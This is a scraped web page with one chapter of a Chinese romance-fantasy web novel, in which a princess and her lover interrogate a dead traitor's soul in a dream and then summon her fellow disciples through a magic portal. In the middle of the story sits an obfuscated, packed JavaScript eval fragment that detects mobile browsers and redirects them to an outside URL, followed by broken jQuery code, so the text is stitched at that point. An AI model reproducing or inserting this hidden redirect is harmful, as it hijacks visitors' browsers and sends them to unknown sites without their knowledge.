74. 梦里加班
作品:《大人,您的亡妻在吃火锅》 入夜,屠笑尔回到皇宫,去找了一回姐姐,交了那些赵奎谋反的书信,还有一枚裹在破布里的虎符。
她在水里涮了好几道,才洗净上边的血丝和黏液,恶心得不忍多看一眼。
屠谑云告诉了她一个好消息,哑刃在南方已经得手,成功割了靖王头颅。藩王已死,疆地内大乱,几个副将都对王位虎视眈眈,轻鸢已携军师萤润和扮做公主的嫦风前去接手坐镇。
屠笑尔问道:“姐姐,嫦风扮的是哪位公主?”
屠谑云不确定道:“大概率是你吧。萤润说应该以一个比较凶的姿态入场镇压,然后以雷霆手段肃清乱党的。”
屠笑尔对此无话可说,她如今也是成为扮白脸的标志人物了。
鸦瑜当即取了虎符,逐一向诸位戍边小统领传讯,言明赵奎畏罪自尽的实情。一场迫在眉睫的逼宫危机,就此消弭于无形。
屠笑尔问了姐姐的意见,屠谑云当即提笔拟了三封邀请函,欲聘三位流落在外的同门师兄入玄黎相助,平日督练兵马,若有需要,便出手执行暗杀之事。
屠笑尔拿着三封新鲜出炉的聘书,一路亢奋地蹦回自己寝殿。
她秋招的时候都没拿到过这么多offer。
屠笑尔满心想着当即差人寄出去,或是亲自策马送去,可在虞无妄的无情监督下,不得不准点上床睡觉。
“睡觉最重要。”虞无妄坚持道,“你且先睡一觉,待明日早晨再拉人入伙不迟。”
屠笑尔对“入伙”这个词表示不满,显得好像她是什么土匪头子似的。
虞无妄走上前来,专注地盯着她的唇,继而用一个轻柔的吻封住了她口中的小声嘟囔。
这下屠笑尔安静了。
她面色赧然,拉过被子裹住脑袋,还想再腹诽几句。可虞无妄的吻如同掺了安眠药一般,让她转瞬间便沉入了梦乡。
屠笑尔并未及时发觉自己睡着了。
她的眼前是一片浓稠的黑暗,像挥不散的雾。
视野尽头有一处暗红色光点在跃动,屠笑尔摸索着走过去,发现这里是一片虚无之境,除了一盏烛光之外,再无其他物品。
她站在原地,盯了会蜡烛,忽然发现蜡烛好似永远也烧不尽,它不会变短,像极了那种高科技的电子白蜡。
屠笑尔伸手拿起烛台,凑近了端详。忽然她察觉身后有人,下一秒便被嵌入一个宽大而温凉的怀抱。
屠笑尔低头,看了眼横亘在自己小腹上的手臂,从漂亮的线条认出来,那是虞无妄。
心间窜起恶作剧的念头,屠笑尔倾斜烛台,两滴烛泪掉了出来,滴在虞无妄白净的小臂上,如同化开的奶油,让他看起来格外地诱人。
烛泪的温度很低,并不会烫伤皮肤。屠笑尔转身,把虞无妄一推。
他全无防备地向后倒下,落进一张凭空出现的扶手椅中。
“这里是什么地方?”屠笑尔问着,爬到他微微敞开的膝头,坐下,掌心扶着他的胸膛。
虞无妄一副任她宰割的样子,没有阻拦她作乱的爪子,反而伸出双手,虚虚护在她身后。
“梦里。”他答到。
屠笑尔点了点头,若有所思:“难怪你会这么大方地让我吃豆腐。”
“我平时不大方吗?”虞无妄微微仰头,看着她问。
“嗯。你不肯让我摸,总是在睡前用美色勾引我。”仗着在梦中,屠笑尔胡说八道,“这样是不对的,你要多反思。”
“嗯。”虞无妄颔首应下,“还有吗?”
屠笑尔漫不经心地听着,把烛台移到他胸口上方,问道:“可以吗?”
虞无妄没有应声,收了只手回来,把自己领口扯开。
白净的胸膛轮廓分明,如同上好的粉面,凝脂般的肌肤瞧着软润无比,肌理间却隐着一股蓄势待发的力量感。
屠笑尔微倾手腕,烛泪倏然坠落在他前胸,触肤的刹那,竟转瞬化作嫣红。
而她手中的素烛,也在霎那间变成了一支红烛。烛火摇摇曳曳,将胭脂色的光揉在两人之间,满室漾开缱绻旖旎的意绪。
她用指尖触着殷红的蜡,拂过虞无妄的皮肤,听到他难以忍耐的闷哼。
分明是自己先撩拨的,屠笑尔此刻也有些受不了。
她主动开了口:“你把我拉进梦里来做什么?”
虞无妄半眯着眼,看着她,神色充满欲念,语气却依旧关切:“怕你被赵奎那蠢人的举动吓着。”
所以他是想做一些黄色的事情,来覆盖血色的记忆?
屠笑尔摇摇头,莞尔道:“没那么胆小。”
虞无妄收回手,轻握住她的腰,夸道:“嗯,你一直很勇敢。”
屠笑尔把烛台往后随意一抛,凑到前去,双手撑住虞无妄的肩:“所以你把我拉进梦里来做什么?”
正如虞无妄了解她一样,她同样了解他。
如果没有别的事,他断不会专门到梦里与她亲昵。
虞无妄笑了一声:“审问赵奎。”
“啊?”
只见虞无妄指尖一抬,身后倏然出现一声凄厉的嚎叫。
屠笑尔往身后看去,那只烛台又自己悬在半空,照亮虚空中忽然出现的一架木桩,赵奎戴着重枷,被铁链锁住咽喉,绑在木桩上。
他的舌头长长地探在口外,鲜血沿着口角不停地滴落。
屠笑尔没见过这架势,惊得浑身一震:“这是从哪里捞来的?”
“从罚恶司抓来的。”虞无妄解释着,站起身来,把屠笑尔安置在扶手椅中,自己则踱步上前,手中不知何时多了一条发着红光的索命绳,“他作恶数端,本就该过罚恶司的刑台。趁他魂体未被押入十八层地狱受永世苦楚,还有什么想查的,尽管问便是。”
赵奎万万没想到,自己竟会被一个身量瘦小的公主追杀到这种地步。
他早已因游说他人谋杀皇储受过一场拔舌之刑,此刻嘴角凝着暗血,垂着脑袋瘫在地上,放弃了抵抗。屠笑尔问什么,便答什么。
屠笑尔很快便得了自己想要的宫中人证信息,更顺藤摸瓜,盘问出一桩陈年血案。赵奎十余年前克扣军粮,致三百守边将士冻饿而死在漫天风雪里。
都说人死债消,可赵奎人已经没了,他留下的罪孽如附骨之疽,还在这片土地上继续蔓延,如一场难以根除的瘟疫。
这场漫长的审问直至天际泛起鱼肚白才终了。
第一缕晨光穿窗而入,轻拂过屠笑尔的眼睫,被近几月虞无妄拘着养成的规范作息,让她下意识睁开眼,这才惊觉一夜已过。
屠笑尔伸了个懒腰,望着床幔的帐顶发呆。
昨夜的梦太过精彩,她从前不会在梦里还挂念任务对象的,没想到现在能梦见赵奎一整宿。
屠笑尔坐起身,披着外衣走到窗边,正撞见虞无妄踩着对面屋顶跃下,玄色衣袍扫过墙头瓦片,轻盈似飞燕。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230759|194973||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
虞无妄手中提着一串钥匙,见她看来,突然抬手将叮铃作响的钥匙圈抛过来:“赵奎昨夜招供的地下库房,我从他府里搜出了钥匙。”
屠笑尔立在窗畔,一言不发,望着他发愣。
“忘了么,不应该啊。”虞无妄走过来,屈指轻抵她眉心,一缕浅淡的神力探入轻查一圈,收了手。他端详屠笑尔的神情,“昨夜你一直审着赵奎,现下还有印象么?”
原来昨晚发生的事情都是真的。
没想到虞无妄要求她早些睡觉,竟是为了拉着她在梦里加班。
他从前在无还栈表现出来的职场狂魔人设并非虚造,时隔多日,屠笑尔再次感受到那种宵衣旰食的工作饱和度。
她一点都不怀念。
“虞无妄。”她干巴巴道,“为何我夜里入梦忙了一宿,早晨起来还不困,这不应该吧。”
虞无妄走过来,也把胳膊搭在窗前,学着她的样子,面对面地看她:“毕竟是在梦中查案,也是休息了一整晚。”
屠笑尔觉得这样加班命好苦,小脸一垮:“我想正儿八经地休息。”
她转身回到书架处,又取了屠谑云写的几封聘书,回到窗边:“我想去把师兄们喊回来,有他们在,轮班也合理些。反正他们都听你指挥,你不能再逮着我一个人薅了。”
虞无妄轻笑一声:“好。”
屠笑尔隔着窗,拉着他的袖口:“你同我一起去找他们吗?”
虞无妄不赞同道:“你重伤初愈不久,昨日又奔波一趟,可要好生休息。”
“那我怎么把信送到他们手中呢?也不能放信鸽。”屠笑尔问。
“直接把他们拽过来便是。”
屠笑尔:“什么?”
“用通界门。”虞无妄说着,伸出双手,食指与中指交错,捻了个诀,他在空中拉出一道直线,而后拐了个直角,竖直向下,画出一扇门的形状。
空气仿佛被炙热的金属割开,空间被折叠扭曲,凭空出现一扇矩形的透明门页。
虞无妄拿了屠笑尔手中信函,抽出一封,是莫回的。
他把信函往门板上一拍,纸张便像溶化于水那般,逐渐消失,被门吞了下去。
而后,虞无妄抓住虚空一处,做了个拉开的动作。
抱着算盘的莫回出现在门后,一手拿着方才被门吃掉的信函。
屠笑尔:“大师兄!”
莫回:“我草!”
虞无妄:“别来无恙。”
莫回眯眼看了看天,确认了阳光的存在,梦游般地说道;“我莫不是死了吧?地府里竟也有这样好的阳光。”
他微笑着,像还未变成杀手的温婉模样。
屠笑尔忍俊不禁,一把将莫回拉了过来:“别挡着门了大师兄,等会还有两个师兄呢。”
莫回仍在梦游,他目瞪口呆地,看着虞无妄从虚空中拉出了目瞪口呆的荆鼓和仇九命。
荆鼓叼着的牙刷当即就掉在地上,满口泡沫地:“啊啊啊啊啊啊我草!”
仇九命顶着一头炸毛和黑乎乎的额头:“我草!”
三人左右看了看,惊讶得无以复加。
虞无妄则微微蹙眉,不知道他们为什么要大声地说草。
在一片诡异的静默中,仇九命率先冲上前去,抓住屠笑尔的肩,左看右看,满脸惊疑:“小师弟,玄黎的整容技术竟然发展到这种连五官微调都毫无破绽的地步了吗?你的喉结呢!”

